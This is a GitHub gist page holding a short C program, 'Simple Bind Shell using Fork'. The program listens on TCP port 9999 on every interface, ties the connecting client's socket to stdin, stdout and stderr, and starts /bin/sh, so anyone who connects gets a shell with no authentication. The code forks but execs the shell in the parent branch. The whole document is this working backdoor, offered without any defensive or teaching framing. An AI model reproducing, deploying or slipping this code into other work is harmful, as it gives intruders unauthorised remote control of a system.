Skip to content

Instantly share code, notes, and snippets.

@OsandaMalith
Last active October 6, 2015 11:24
Show Gist options
  • Save OsandaMalith/cac6fdf112a3e67d8895 to your computer and use it in GitHub Desktop.
Save OsandaMalith/cac6fdf112a3e67d8895 to your computer and use it in GitHub Desktop.
Simple Bind Shell using Fork
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define SERVER_PORT 9999
// CC-BY: Osanda Malith Jayathissa (@OsandaMalith)
int main() {
int serverfd, clientfd, server_pid, i = 0;
char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n";
struct sockaddr_in server, client;
socklen_t len;
server.sin_family = AF_INET;
server.sin_port = htons(SERVER_PORT);
server.sin_addr.s_addr = INADDR_ANY;
serverfd = socket(AF_INET, SOCK_STREAM, 0);
bind(serverfd, (struct sockaddr *)&server, sizeof(server));
listen(serverfd, 1);
while (1) {
len = sizeof(struct sockaddr);
clientfd = accept(serverfd, (struct sockaddr *)&client, &len);
server_pid = fork();
if (server_pid) {
write(clientfd , banner , strlen(banner));
for(; i <3 /*u*/; i++) dup2(clientfd, i);
execve("/bin/sh", (char*) 0, (char *) 0);
close(clientfd);
} close(clientfd);
} return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment